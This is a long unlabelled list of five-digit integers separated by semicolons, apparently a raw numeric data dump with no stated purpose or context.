32518;29643;41927;48669;27586;11476;57518;48671;23356;35765;24093;11753;12248;16779;58961;65847;35781;32987;30406;24984;31522;25686;28556;63957;21494;12871;53501;27578;53508;53815;51317;17499;65134;38138;60996;25348;45338;12238;64746;54917;33670;50243;39629;42570;12570;32228;45004;62970;18686;32747;54695;10466;34753;29936;22732;33883;43021;40132;30939;40897;55334;61517;34396;49105;65889;57931;48820;53201;17340;34683;62251;59519;39074;21036;29468;54632;60179;41951;19858;43155;11423;11909;24797;61303;17593;52877;12667;41260;31809;20632;30107;14505;60975;55447;53512;24014;31058;53653;57461;42736;29541;18596;57820;59926;38001;23750;34918;62559;54816;20634;17810;48224;30452;63250;22836;13570;37997;57365;35142;34591;18197;21990;36166;28150;64579;63069;26463;23078;27082;48973;20252;19987;25216;65947;44863;41008;28960;54582;38773;57275;53528;47211;30774;17991;25566;29096;37587;33663;44079;26754;57746;50324;14176;28660;10966;52617;32809;30627;59261;64206;37871;61860;21529;57687;57258;62194;23956;66622;48337;32918;14698;40377;21024;41859;15968;10724;62457;53398;58821;29265;37346;53713;33810;56992;64727;43361;17630;13270;43954;29341;26145;54939;61403;60712;52501;34319;41243;49906;29374;40058;27056;57088;46910;24399;61763;51973;53720;47858;31534;33947;49054;28273;56151;53238;55715;50592;54818;13372;52920;57366;33675;38608;33928;36834;25387;48846;62533;51220;43290;66669;16946;44742;32601;65979;43291;19268;38700;66470;51478;26195;32439;45688;21431;28764;25633;34748;23069;35626;41209;66080;45707;31624;61385;21209;55752;31779;17997;63192;52844;11623;26744;65367;16113;65909;22077;31504;15586;28083;25193;13861;49504;44611;19068;55177;57620;47323;48693;50610;21165;24547;11878;54991;24198;30935;66896;30652;24435;57022;38475;48760;25382;38637;33311;33329;34689;36138;60742;45188;33451;13733;33676;10871;32501;30185;56071;11368;13168;54841;64316;66350;32101;26203;33629;56604;27458;24741;57403;40758;27539;62190;34265;63038;53331;39683;28650;57214;49368;61739;13653;46012;43171;34448;20293;47599;29206;31998;53296;33918;55764;56687;28174;19739;65278;54457;34470;18608;37242;63764;54946;32791;50620;62140;25900;39408;16850;29675;45596;11062;34418;38595;46642;41444;42624;66182;55070;21622;21879;32812;52628;44570;43067;12445;12862;30367;42995;21926;10925;60771;47543;14245;62049;16150;42686;49690;12698;23759;66114;24907;21969;60441;54275;16992;61342;14418;21876;66280;40263;32243;44784;27032;54659;62159;60414;30269;24985;45932;59393;54929;14743;28477;19415;25967;58311;54359;60394;21737;63792;37935;50802;39369;22183;20937;10260;43743;44824;58947;54232;31697;59586;23195;49540;64897;50783;12312;44672;18875;27584;24059;39694;62489;43803;14523;26371;20526;60114;50379;20446;64251;36390;40268;25014;26001;47238;56278;41160;25496;36337;31395;51727;64736;63895;27121;40612;23386;50572;21410;48828;17032;45991;65215;45763;63669;46408;53625;47871;51620;56365;21113;31788;26357;41854;52769;17210;31225;52676;24971;30286;49162;34949;51086;25464;30981;27670;54379;24834;26170;23831;49534;24660;57854;29960;17588;52717;10363;13781;55882;31969;34888;25253;29175;35693;10582;61550;52966;43755;31146;55281;40422;47542;40154;15984;37637;52477;12083;36441;46003;25501;15277;57132;31882;21144;44076;17772;10853;57898;61197;33105;38058;46248;12365;39745;47541;38782;47517;29373;56527;62015;52463;62829;32477;38983;13509;48892;24977;23180;54683;40934;56767;16636;56357;24298;22657;45766;46006;40585;55996;20996;48587;54035;49268;47003;19679;55770;46493;15299;48636;15124;22661;12809;49081;36791;34258;53562;52457;37836;58856;63139;39240;17442;32594;15943;32125;50557;53268;30459;19760;42142;39192;46113;13596;48832;61187;21093;44028;37624;19389;62346;57538;15007;45374;14486;50918;10963;48902;12720;18072;42216;56712;52751;54715;60207;61650;11554;62206;16153;14488;23978;63555;35189;29959;22961;63331;20803;23619;12825;42851;30705;46475;28381;12623;44780;17465;16036;40958;14196;60957;60841;19753;24591;22709;50927;37606;63480;52101;32219;56057;25682;22983;46937;43317;32109;58766;65850;47239;42940;53389;24204;65722;31379;19421;32562;17088;57853;42629;31264;64309;13174;49878;17536;29250;40136;66444;59582;52583;15288;55538;26944;38315;60447;23091;63955;57118;51396;66561;12965;32821;24678;16075;36236;37909;38661;12970;30837;32138;33198;57406;65257;53168;55739;23722;21376;65148;23532;66110;23564;31336;40359;62671;22072;54248;50362;26076;54300;25731;51428;64602;22070;19555;60404;55638;22693;34765;49286;25364;43840;26743;61176;33650;15048;18546;10359;12643;34870;20756;36169;42437;39128;29682;35133;61006;54684;54722;38859;46817;60660;34285;37252;51854;28491;55314;20280;55146;47414;37496;22088;43043;10974;45927;64217;33898;38306;49573;38590;65934;62359;59921;15330;44026;47287;22764;18815;18633;49642;64679;19782;55724;10439;38723;55556;12115;26219;25830;42540;61677;15523;25236;49047;48449;15290;29060;64320;36388;51880;65921;10191;53126;18863;18525;63026;59387;30246;18998;49999;44103;45455;37363;28639;45994;56293;48277;47494;66458;63244;28514;21956;53963;35213;44986;59732;19072;51631;45073;57529;62055;50400;62697;38694;15590;50141;66189;28926;32132;32024;14606;13044;64235;39669;25742;64228;34522;24801;63588;37778;15352;20003;41157;44455;56038;36841;60257;21790;58211;39140;41892;10398;30498;35592;66217;37962;12284;10091;46920;64559;24837;23247;56255;49793;39942;12588;13126;47859;59495;31031;20188;32425;28304;41270;16457;65592;50186;39141;43929;66868;64365;40191;26015;16086;41445;31908;37517;50781;62177;48939;29914;64925;27856;31819;42316;29867;16970;53374;28240;47365;13190;52318;62886;65872;28179;54772;33068;43827;11134;44316;29512;27236;63453;48577;66301;62225;22238;17339;55299;57219;28700;61216;14494;21933;64744;10857;65879;20187;35166;53797;29255;22548;17601;62375;21752;65170;53080;25390;50117;32378;15247;27883;18826;39072;21434;64147;40349;16541;56492;20045;36495;27846;30130;47606;50108;31337;40225;54361;64842;10280;46879;62817;32476;47107;56283;52768;13384;58164;40505;35950;58970;15558;65285;43495;27559;15061;13428;11586;43338;44044;63324;18539;18411;66147;31742;50421;11784;42871;61319;18254;64452;31976;48517;32156;27521;24848;52840;66973;43725;29486;38568;23643;20811;58306;46888;40683;27683;19737;63740;22905;12314;53634;19885;53258;46221;29589;51632;65754;10896;11920;57613;52825;52836;14588;54726;46299;36799;25361;23833;16243;56179;54996;45385;37074;24433;60420;54672;52044;45321;38509;31677;51655;19056;59756;17315;54284;24230;30470;63341;36357;64987;51860;29644;51237;26295;13327;58107;32063;21656;51246;15993;27338;30997;19969;27269;25586;56292;40802;21127;62635;11890;28800;62701;29178;60697;45021;38062;46279;35867;15533;65980;48696;36308;18342;58278;40322;25494;20670;64113;13086;49214;28673;31958;23758;52597;11887;64582;51673;55644;47762;15064;19900;28698;66256;61074;43206;47495;63147;31465;32510;29350;19116;26533;21610;58013;17003;39883;21569;33333;21965;52495;51580;28748;48539;10951;61818;66019;25455;57477;60107;23573;13722;39834;24101;62252;26429;32148;60830;65898;36783;57067;26586;54397;35380;54597;43201;32284;53112;41483;40008;43296;47664;43531;61435;35037;10727;12941;52403;29550;17034;50346;15159;28211;30889;42314;45554;53159;48396;24338;65091;10530;40216;33321;41036;12765;24625;56589;36392;54381;58562;44075;26008;53649;23549;60692;57983;52814;12788;42642;33874;42911;27901;31461;34903;56917;23129;64518;14479;45570;49628;37824;24175;59013;33071;64971;26608;47250;22848;33574;66446;19382;31664;55771;55361;10395;40678;61703;30383;15808;11508;29538;28153;59417;40248;51032;53367;10979;52864;34905;42822;16780;35518;39423;35725;38149;21575;66926;30336;53143;13885;31746;46033;11340;29872;14491;21651;19338;29893;15355;39861;61566;65004;34629;62500;41794;46429;10721;19113;41805;30667;43887;24953;30915;27561;32074;27490;63704;17585;46206;60774;25323;46907;49320;16690;32359;42842;33055;42738;22532;64259;15660;48853;50315;46932;14463;23724;10716;16440;32737;56480;14001;18275;20920;25380;35791;58630;23357;42846;27340;23797;39852;57943;59171;31990;16929;55928;57066;53641;57895;32123;26052;27845;21518;19908;60656;47207;30504;32837;28022;29296;47400;38987;64697;13531;42921;12057;50391;43003;37829;44422;66396;40821;24831;31340;45341;40695;44299;51786;27495;20603;40155;56027;24127;20379;23606;61092;66388;54970;46939;53425;13314;13842;53154;21354;23367;46892;47291;31526;62166;43412;65728;61051;45474;51403;44876;33264;17616;46271;35761;60000;20753;58421;48716;52514;27768;60155;29049;14966;45651;20441;24657;64652;33006;65666;26692;12705;39179;58950;20549;39961;36566;35232;51821;54740;32176;14103;28345;21763;59672;20199;66750;59693;21216;25821;25743;53274;62078;52023;39645;52285;51332;52912;45963;50193;51433;21620;60333;19271;66033;20039;34364;29699;33746;12689;58267;66549;43372;39762;13422;23772;27355;45853;35514;52319;49230;66028;49619;34156;33316;48201;54272;51486;31406;59489;59133;48810;50403;25372;49805;48656;32544;26747;30835;62281;51966;56183;31440;64400;22789;61395;49647;66008;11840;19347;22290;35977;55740;66648;59410;32746;11507;19358;39564;25281;20927;49743;14616;54048;54563;17730;59615;48776;21130;35777;12554;60907;26776;28767;21782;10584;33755;66802;53506;25570;32548;13334;40967;38347;50007;28774;34241;35279;26051;22889;29139;50748;50930;40300;34906;31098;58479;23757;48711;47760;56576;36289;31745;17345;37158;47321;48802;50589;13252;61039;13703;48475;30433;55313;63086;59228;55872;66786;25010;44382;27656;16874;48422;55344;50105;42191;61094;66283;46284;48579;57091;19773;58769;53116;31603;36948;48694;40336;53309;52590;54146;17803;36091;24315;17809;59473;64673;26082;44905;19669;63933;61152;53672;25139;17600;41256;29829;53610;60556;36824;51587;61079;27283;55903;34639;63226;48769;27941;35665;44116;42249;34262;58617;36613;43547;13649;49697;53487;14538;35597;16103;12731;58130;47156;29217;63782;45940;54709;46496;32254;36674;62930;30761;46543;28680;42290;41305;18880;39681;56597;14266;46470;55179;36217;55588;29505;29864;15601;27933;62106;56453;24658;61848;59610;15101;62000;12330;56804;65777;23082;20824;28284;39818;44542;33167;40768;38559;19221;49674;40409;54252;35553;25197;36547;61226;32674;49211;45992;11155;40825;63640;48817;33540;23254;11539;63605;53017;23259;18281;42281;26055;15904;32645;11480;60868;49572;57563;29813;40023;14628;42038;30506;20736;14601;35654;28711;51551;27076;47653;44250;52137;41916;20541;43566;15958;54088;29144;61054;41961;65288;26433;31001;27104;41691;11366;59291;64661;12549;39335;10362;27107;12594;40052;27566;28645;46601;28889;49174;57536;29251;61707;65153;51495;53580;20624;34648;40901;53560;39856;65714;13193;46536;59297;25047;42743;37454;48347;33996;19659;44659;35217;47842;44740;45952;42416;52830;62165;48414;60234;45624;63378;38885;43132;63281;61256;53642;30611;28097;62631;57499;64334;64131;49134;35060;44517;44812;63809;56088;65149;62026;59125;19070;50002;21539;58341;23151;48448;13226;58476;41912;58717;53232;61431;25854;58153;43214;64190;17314;35635;27943;13364;10882;26918;26549;33756;12082;53317;50713;21954;51944;32175;59995;63987;63539;27272;42007;27313;15228;18948;39967;57556;25910;49703;11899;36832;13518;62042;54218;50968;14741;20297;38837;63747;47032;51380;56467;52140;59120;64586;44265;29822;48836;31928;39168;22814;46963;38738;25723;36460;43842;27758;18635;15079;62182;62737;25871;20522;17734;48976;57223;23853;15069;55005;63672;22715;15328;44967;61843;26004;22349;64129;53952;51749;21873;22115;25087;28586;58454;58816;50326;25562;63107;30982;61200;15015;48285;44296;61970;58024;30670;13149;36061;10195;53289;10423;10596;29686;20205;18470;64099;12848;66473;57755;61346;51694;61440;65693;52820;47389;19025;18947;23613;24513;32995;27214;56124;59143;14967;50110;18023;61348;48993;34452;56499;31891;30348;49077;21118;33162;55369;53180;34775;50726;54942;26044;20463;59626;52127;41589;14316;28313;66736;30759;27012;60130;61076;25136;15310;58377;40269;33537;60453;39847;60041;63240;28540;38021;55390;42066;11002;24164;63911;17243;35153;61290;63983;40492;21723;28863;64855;60946;39431;29775;63675;13448;58214;60741;35859;65216;26065;42463;11844;44704;23105;26214;30407;57678;63961;58643;13911;54343;38215;63575;34215;21317;10215;42588;65935;40950;16287;28105;38348;57590;27073;35372;50528;24372;43513;42925;33550;49472;54820;52792;22704;18248;63006;29896;24966;17770;53436;10022;59591;58577;57246;46406;63118;10826;41332;26575;27760;61202;35767;14958;37965;20645;18233;57773;26374;62397;60953;59947;64471;14124;16050;54402;33197;59232;62848;42858;38224;66055;29099;27500;35354;53769;63438;56049;17437;36302;45407;60821;31065;50549;47342;51411;34857;25190;28874;52091;61067;50780;33205;20765;42919;41522;38600;49302;37679;43752;40771;66344;64711;20985;14657;37027;52064;12936;36706;14942;22165;41731;14674;22947;29428;55880;57391;62554;53198;23451;41321;42714;41771;51413;24187;30164;22701;33518;43402;17401;36764;58763;51847;64069;55808;13967;57776;33341;15477;10961;16951;50115;31797;32567;50291;16119;13770;13316;28236;43340;66691;39076;40361;54451;22269;63737;13788;38413;36910;12041;20437;20882;14813;35889;52274;61100;18337;42694;60527;23420;41494;57839;27579;36808;38583;19151;21094;15617;16215;50084;60653;30448;34009;54628;11044;34728;28510;36280;50422;58492;32342;62767;16487;36445;17155;57026;66163;18970;42162;16743;46850;61163;46306;33853;21428;58805;33435;38159;31265;60708;41591;56296;35932;66153;36731;53640;58694;42937;18728;43951;29853;15691;20858;19604;31954;52193;21270;32160;15223;52227;26983;18504;42724;43072;65208;52726;49995;59383;49396;48549;11230;59052;63695;17975;39509;42019;12339;63466;18788;64577;30984;19591;44411;66228;17516;36188;50178;28315;29412;36379;41661;32823;30673;21874;15255;40961;28522;19272;52100;36051;45532;15010;24314;19956;50634;11441;21106;15082;60344;49196;36312;10188;37211;18198;56878;29149;36000;62948;56254;28102;49339;18617;63776;42303;34526;46171;25096;30760;20449;48840;57797;58655;58163;58658;20656;66485;38282;14794;20082;21251;32841;15559;13869;48887;39161;15169;11484;29903;55833;29126;46636;18685;59349;40817;15509;28693;55688;42286;20390;64880;29290;17506;40208;30661;31462;27560;64794;38938;47005;62392;38197;53441;52811;52842;22542;21486;10107;64527;32032;35121;61602;46009;42901;55272;25631;62076;45600;25287;64032;35038;19734;57459;11936;26594;54579;26734;61922;37134;48608;24645;20370;35371;41988;65051;41802;26520;43864;49562;62053;18189;63382;27179;55429;63641;28865;24945;27469;64784;25527;22105;34569;64637;13742;24595;54614;43215;56391;57001;65739;27849;31481;36759;21661;61186;44453;35077;12342;55990;53990;51151;17204;58089;23393;11087;27331;39382;49586;23921;17647;16786;54375;24494;55652;32564;53974;46665;15192;59708;50929;47151;17387;16686;25000;24943;59754;17245;54800;13661;30378;52647;21102;35004;59159;29827;64478;60561;66875;54657;21033;11822;46024;23328;22610;50204;25257;15768;46107;22639;21700;20566;62868;42062;58685;30891;15134;52458;24058;49108;43764;55661;30833;17976;57540;38459;59508;36202;24156;26786;57639;51622;54669;56562;58792;37391;52703;41251;33621;35155;39333;35600;37141;23483;22498;28545;39715;47379;54897;34306;16172;60232;33013;10640;10163;58852;58826;33281;24432;26301;46487;39682;34542;41899;54908;12293;12958;48778;10055;50044;32209;15596;24389;50718;30229;37236;29064;29023;26389;24466;20362;54731;62184;44827;51652;47788;24675;11450;33208;31644;14822;14839;65873;65648;35397;66543;14745;46620;46365;44287;63496;58382;43125;49029;14003;42896;34415;47574;48758;30559;43779;64068;59688;20346;32143;13811;16167;55323;19783;38731;59637;20054;46500;58318;48317;28361;52714;11124;59898;66445;38000;13105;55547;24777;29610;53213;53214;17796;28373;14668;11716;28232;51628;27297;62582;42200;41903;22568;31725;56987;34401;12469;43095;27311;43917;15799;63515;62012;37683;63278;22688;66715;48872;21356;65859;21129;64872;18760;56858;55925;12308;48583;47285;44575;27092;60662;13239;65560;40671;57609;28296;15851;47411;55953;64102;27737;19362;28200;66131;60986;39473;20102;28778;25616;39219;10679;40022;57780;64434;42104;46501;30603;15510;29565;45681;49333;41277;23136;39993;65469;38816;65937;13066;32763;56828;24189;47139;54856;36158;44855;35015;28910;63215;17632;30080;63021;40816;34662;33465;26425;59076;21101;12080;41340;42638;29658;29181;35564;28203;14804;28440;13577;65784;28536;26202;11708;55193;29458;65661;31182;43482;24318;32676;57011;33254;46010;42664;52451;38293;49283;56347;12032;15374;21456;30589;24662;18182;24376;41797;66523;51136;38836;50483;11278;47048;27664;34897;14426;10246;37631;38997;17368;17703;15392;63464;16871;24590;26143;15879;42369;63336;65795;62384;16289;65040;23030;12545;50655;45244;66617;48378;48288;18397;28041;50201;57676;50385;60501;36666;18574;25597;13641;59838;42862;55765;18800;12373;22454;24440;60997;27983;18627;55865;25935;56967;51116;12020;26474;66404;57806;43936;10287;13111;41336;20117;38195;43997;33471;51810;61016;62933;21867;19035;29132;19471;65646;37754;64274;23332;60298;29398;47405;54190;24112;60970;41564;26966;38415;48556;19518;54815;58650;43243;63445;12815;11846;47904;65518;22148;64548;49486;40032;46183;47024;12430;32469;48654;27825;28904;27924;60358;51483;31752;57852;66633;23371;54670;64892;16311;22706;18030;24128;14305;43514;63967;10027;48658;32749;23690;47353;13307;53424;26564;47661;39523;35625;55396;36153;65608;61448;51666;19765;46749;47448;56497;35254;35497;24148;22443;40071;21151;65826;32871;53110;41360;55709;27376;44091;24493;31814;25499;39164;63712;29028;36498;64266;48580;28453;18439;56571;25966;55413;23053;27954;32335;42915;52176;44186;63803;25209;19407;49199;15191;57889;60904;10717;13946;15762;25194;61419;17468;65057;11210;45751;37571;58604;40557;50789;22446;19834;47444;46340;18706;34082;15083;61241;28199;11862;50080;26507;40922;45125;12868;47020;61217;59650;40294;57510;42792;50312;31807;53062;58706;48911;34521;15946;61850;22698;59793;21348;48535;31744;13135;27347;10960;22776;35215;21383;28806;51228;32968;36917;33274;48992;47204;18883;23838;49510;51910;61520;50479;18952;51329;31137;19463;57683;19248;63973;45791;23471;49180;54192;65865;18212;32341;12053;63146;17029;63435;41032;62029;60876;41996;62590;15416;13910;14926;25055;26147;51753;63725;42308;42231;50271;40645;43812;32188;37043;26415;32927;53166;52807;59843;63441;58383;33060;39514;34540;61401;47540;38099;43365;39528;55621;39496;45943;62113;54759;23124;66728;37716;45161;53357;12860;15735;60349;49493;15323;54337;43774;56880;53944;49672;35353;55759;14532;43336;52341;40500;32630;33637;60931;62920;32693;20899;34560;54903;11527;41667;50935;38455;17349;54104;15989;51754;19520;65052;63414;21805;19079;63356;29957;49440;56673;46369;39099;47508;46542;42654;38972;34876;66441;49860;52616;16212;59016;41983;46063;28268;47623;10678;23927;13699;52097;26131;26479;66376;43617;64508;32507;25699;12833;63766;43768;64340;34692;12586;29749;59721;65759;60562;46901;58638;17649;10253;24309;32094;42545;43466;43065;51271;42503;59939;23337;14324;43420;47650;12585;32319;56334;46706;51890;35113;18985;40865;28736;47059;45531;29568;13433;19763;38377;31547;13420;64394;40468;57140;26634;22999;52675;13896;58057;63306;44339;16087;62394;52630;61540;59357;37509;31417;19177;33544;32044;61641;30516;19292;36736;59102;13797;30812;23760;25178;13155;10092;31994;23397;41997;32546;54565;34714;37494;15334;11251;24199;49850;49458;17139;27197;50014;21096;47121;10924;61720;56590;52702;35244;55449;37328;29655;12425;13138;57134;33694;50256;62516;46815;65125;33891;32315;51293;36258;32675;26892;53061;65032;10594;34301;30084;56645;53894;27631;59997;64388;28420;50686;25556;66857;14234;50848;11701;21527;23381;38771;51077;56305;15777;19890;36313;46740;49926;37724;17234;46923;34850;22630;64550;60372;58992;20966;35440;15335;35070;26222;65597;61598;24216;10701;23581;27975;24571;23127;32217;34930;58989;11604;11461;47051;56778;15238;32765;61613;28722;57169;31078;11782;19165;65241;15053;16910;23365;64287;45957;63714;26813;19556;24896;24259;55477;22439;49131;30675;34858;32974;25551;16704;11273;40733;55249;58539;65515;41800;12824;64822;40179;32797;15825;13467;17191;52882;53281;17615;31982;62537;17623;46538;22852;38121;48547;22873;11257;58828;26478;54545;13397;17419;44034;34378;35370;11011;62452;45349;54981;60300;29995;35009;45931;19076;52510;57735;34103;64604;66649;41107;18260;32719;43960;10602;36968;53076;53427;23864;35382;39559;54348;46508;27010;29951;13588;47007;20553;52146;16657;47610;49509;18208;19181;14199;59769;60286;19898;63642;49692;56454;29912;44172;66245;37340;10283;20910;16664;32408;17836;17123;22331;57562;24579;10547;50119;48553;31723;13290;34674;10365;12037;33407;26622;12353;66730;34682;21886;43919;59153;24640;13431;21254;53651;23110;44637;11098;19178;17510;58647;50174;61568;35742;20976;57822;47408;28881;33300;54765;31284;56062;40424;42602;55528;56852;57748;51141;55311;20141;42155;48492;51959;66958;34563;14132;31766;34854;60611;40710;54486;29672;56763;17227;19300;30733;60792;31698;34506;30993;37764;20538;22778;45033;31150;43205;57783;25671;18704;31846;14935;51920;61397;29026;28911;38164;34736;13224;52932;31640;48653;64724;64670;17285;51131;41936;20570;32908;30089;22469;15071;43058;31424;38405;42381;38414;43979;46681;21746;41070;26413;45728;22417;33859;23943;44798;65439;48722;13424;47833;33594;41301;57283;13137;49651;20763;19121;13461;65086;47698;60442;65572;10620;44565;64244;25921;48754;62814;53051;32887;52577;18301;47200;12127;47234;35674;58510;59024;57645;50582;23122;46872;14681;43700;39251;61808;45170;40822;15732;42893;23566;46290;48374;21631;44903;18556;27156;61643;29257;18799;54441;50412;60101;45998;65041;64708;48572;37325;62756;25769;14237;59758;52530;13602;57479;53052;41829;35434;66581;32605;32263;55418;32655;60438;59441;62604;60359;49426;55354;57209;57584;15613;14764;41876;44270;55844;49898;21057;66169;35281;60370;53139;53615;20856;45236;48320;65876;49388;45400;31388;16864;34530;33037;36374;49866;36226;15651;65320;51889;65493;40159;63673;21405;10712;20591;36555;66241;36986;44402;12485;53329;53266;60045;29592;27601;54901;36292;25938;37956;10828;26171;52527;18547;34407;62530;27931;56121;22908;24195;40433;26013;35073;32333;41544;66243;33398;35914;20108;63475;55838;49543;41227;33434;42445;66735;16685;29819;56069;60951;41149;26883;59432;64654;64240;56814;62509;41675;17733;19449;20576;60791;17776;56931;12675;11720;65875;54406;62565;20647;44484;24102;56517;28028;49037;24878;64226;37644;42551;27720;21341;49502;33373;62761;35918;42899;33914;45771;16550;64506;58861;18195;61017;32382;11156;50205;49309;45804;10068;49608;59215;50896;63657;13215;47706;28571;39838;11752;29393;13893;28016;13037;29160;38511;23272;45242;43636;12061;30853;66664;13603;51427;56416;27460;18740;39223;28496;63965;11922;56976;48777;66240;45262;12778;11591;25429;35143;18801;19080;12226;33390;25911;64335;66393;29880;51183;15467;40327;12382;27299;59211;24770;33944;13686;28195;51626;41387;21617;54707;56270;13173;11924;56171;46810;48312;19156;41801;15420;49676;62618;63469;25693;63395;60157;59475;31082;20607;39269;55343;34343;27023;26638;10563;62999;21467;11628;66767;35557;48322;23576;10133;11466;51179;61349;14477;14209;34655;25614;11640;50365;58595;65737;25763;59124;32614;66636;38612;22979;29233;11159;66209;25466;11682;18380;21711;30551;55915;10104;56189;25074;59720;58879;42631;41131;42355;32240;40994;25545;40712;14380;13931;47057;65840;42195;36256;43853;20725;17683;64076;29370;60433;19126;49920;39911;32508;36949;53432;34188;41021;30696;59959;43480;25856;11763;36716;20709;24959;18046;53127;21519;17559;51114;44711;60783;19814;25912;40116;34772;46858;58622;27824;24937;58178;65354;66909;48707;56966;39160;25016;57060;30832;16423;17663;18790;53731;51269;53922;43796;35055;36410;34720;37260;11865;17267;39403;20550;63176;25493;25041;29807;46304;43550;40040;35363;50563;60686;63688;26606;40793;48545;15209;20769;39608;52072;56806;32348;34475;34567;39879;55184;52656;41335;52497;20701;20839;45172;60834;37910;31993;46663;23025;22745;63059;56557;25555;53582;30945;24355;17978;64928;60169;10424;28340;18186;10626;31918;44440;25275;10372;55250;17429;53302;63664;33305;10076;12894;32052;30855;41446;56846;24763;27320;43010;40451;55335;10535;43448;14175;39835;26864;41438;65364;28227;42913;19277;23138;49330;25351;52169;16577;42242;65575;18838;17190;16280;32989;59497;61837;21260;38198;34641;42974;52213;58063;26293;65601;58002;50509;39487;47711;47137;49155;40639;53785;21705;52099;48808;54449;62328;22676;42478;27997;33975;59499;33356;63465;63089;44657;14782;23164;16626;34923;29121;29278;40517;11854;13023;44578;29692;34716;28672;21147;38255;42763;58979;19483;21948;18422;64075;40405;60304;49780;34583;48459;11075;47683;50521;36269;38646;20155;15792;65710;21358;33444;57071;20420;29651;31893;49060;66842;14405;57157;35901;49269;59844;66401;65150;17230;62976;15901;12204;34767;27911;18221;54646;66841;35491;25725;60274;45695;25237;53535;59760;37507;59817;38949;47324;58452;54627;18537;28790;60803;29836;39519;64775;53763;21648;14837;46034;45553;33687;48452;45858;40625;57466;42772;61025;17385;28765;50839;29723;30548;44579;43785;10124;46921;32604;28661;40699;26481;51933;22136;12717;57568;52379;25915;53960;39346;55748;63829;25898;16990;22186;33826;33909;19795;40523;59186;45334;19150;18776;42530;38424;29972;59174;65972;32838;16320;55745;64973;42960;30323;34908;62036;12766;59694;33065;21069;26019;13056;57673;49218;60246;47226;13294;64512;12850;58812;37049;15051;48241;12641;57079;60384;62666;45287;63407;37973;48533;44869;60644;58125;47551;56146;62087;50729;58993;18161;35766;53450;62426;39794;28805;58075;17035;56620;27667;37013;23523;55115;38582;44152;16949;16429;10812;60475;29309;40617;28147;24975;51041;43759;21644;63684;39205;61759;15333;58083;40954;51954;63128;22975;13538;34705;58471;25764;29277;55304;55245;33606;36777;55856;62107;23302;63256;52828;57867;38656;58770;58887;29260;15754;61963;53458;62892;49806;43631;19752;48629;32166;26719;64858;35560;64460;27679;56825;53041;49684;24138;42378;24663;18840;11191;21184;28546;41300;13802;39394;29753;48744;21086;16586;27219;20577;11072;11668;53633;12900;48213;15070;27183;38566;38087;40057;48621;52448;23101;38687;63618;54594;35871;42873;20303;18010;17546;11221;19840;44046;45466;34865;21857;40264;40083;52068;54893;56849;58091;65457;52359;30776;59596;64289;27547;42594;29098;32884;28321;24063;32781;56747;63400;57991;17783;41630;35048;20963;63049;28126;54974;25301;27900;45186;61788;63817;40738;20837;46539;51719;31643;19634;62025;32223;43081;39876;47865;58060;57415;52870;10134;24119;26375;31556;18074;60106;46648;22158;16917;19551;10378;19134;44585;59181;26487;40085;53620;26282;31512;62636;36570;58008;29894;17357;44785;21788;14432;20922;30055;30556;58968;15679;50512;11078;50347;33890;66167;40634;44552;35450;54631;20276;30483;55076;34199;25399;57888;16080;53711;49491;29774;18292;48962;36469;17590;59812;64537;29282;34578;52302;42574;45597;49387;28975;36431;25994;28632;18811;55526;32252;45671;65539;53806;60513;22278;39941;27155;40985;63355;38352;34184;41588;61059;19831;45194;66426;22131;52795;59426;18915;35697;24414;23117;65867;39026;44929;50101;15640;57815;58869;12609;21299;24332;12375;29068;22025;31174;49764;15982;14012;45441;34429;46510;26588;25039;20398;61624;34761;62957;24450;42347;30828;13485;10318;20782;35463;59088;54793;16261;10128;18278;64041;49139;47080;22858;11463;62031;41489;25703;38381;33951;13512;59097;13284;14375;19708;40455;64569;41402;15259;13395;26488;47756;16868;33104;50906;33808;57571;14466;13381;23922;55066;31805;53747;64203;42352;18792;14972;21398;63784;19000;45623;46230;59084;22270;62561;63028;63314;60375;39720;55498;44349;39653;42404;44010;29466;11790;20942;37100;27775;37186;14559;34380;24993;61478;19169;14704;25070;37405;38605;53592;11282;59525;24190;58152;21778;50657;62820;38622;17644;20588;34307;58435;49039;49439;13668;23662;23713;58349;52942;36183;27852;65058;59503;49267;59790;50716;15471;63956;48380;39426;42510;56417;17110;25949;32892;53393;41685;27645;25839;65862;20459;11089;21896;51785;27022;17726;59692;33893;35580;38476;27253;52472;30033;56470;40883;34817;21137;58486;55927;50286;66038;49203;26602;20022;45007;20759;46977;34323;18425;62284;34436;58609;13113;18472;10589;55817;33088;27172;44529;11853;63527;40927;13713;43436;12905;62556;62551;14276;64719;22048;55339;37774;34792;16298;28351;55514;17257;18904;22303;13935;35745;36563;61838;44960;54571;22821;17226;28040;60482;23568;30958;23641;53545;59847;43198;21224;28183;52082;17361;63105;61023;64501;19977;27907;22036;64816;11690;45132;44510;34977;46619;22249;11643;46185;64984;26445;40565;15469;50285;21528;16943;24902;14504;58504;16255;40140;30971;58724;27602;51659;27715;28557;54681;66846;18347;39562;53103;23968;60915;25465;36262;50111;19991;11311;36200;51555;34807;15462;12616;43708;43363;63046;35993;39837;58586;11188;60131;48743;15887;62320;27280;45280;14688;14345;16346;40522;39797;66364;20711;27382;38425;39744;55979;10746;37390;64715;14226;13534;59139;11271;33987;19768;38880;18927;20433;62444;32356;61631;31691;16888;12537;52337;30706;64403;35453;55508;65353;27013;58423;63191;14055;10160;49186;54779;50542;35286;55188;44399;49420;19184;45224;25154;26794;37860;24218;34203;62651;41404;42486;54666;15044;10671;61625;29317;63136;15599;25245;12396;22614;42029;59767;46434;59416;55920;27536;44815;53136;46685;24443;24100;35468;25027;34747;16543;33956;30075;20780;62459;58412;45759;64143;22562;33191;55595;47252;11820;23363;25106;35608;32056;12548;38474;57733;66015;61634;28056;56275;54755;62224;22797;51006;11929;31841;29436;61840;32355;35345;11595;42255;41725;14125;46076;55627;36525;29157;12040;41531;45037;35511;17291;45574;52926;59658;24951;40972;30282;54710;61262;39436;14201;32346;64761;46232;41532;64749;50565;64169;19034;31604;22029;23061;57150;63801;24621;25829;49626;28138;25333;21791;41146;19359;60796;44752;66645;21692;12956;54747;64589;32773;45289;24986;54108;12638;39679;12772;10145;65096;54380;31767;22356;62438;61544;38751;44177;32190;65866;27215;27722;48958;47140;33847;37921;14735;37351;14655;41908;22662;61048;24248;34054;30880;23779;50810;62660;34220;31905;55067;60962;25028;53480;56827;16118;21646;47797;60926;39975;43366;53609;39190;17667;66086;36414;29696;21238;13367;18535;11709;33768;31560;12924;39892;51745;51709;22506;28155;55658;65791;63045;52324;12245;24004;31574;25690;45424;25561;37647;10012;31282;43624;38340;44985;46867;25753;14311;42396;14465;46933;18027;25644;22636;10430;17540;56611;17507;42258;34194;48382;37898;41299;41575;60241;51055;11829;45375;62168;38908;40163;62112;58985;66261;31580;29254;66296;24651;38332;14356;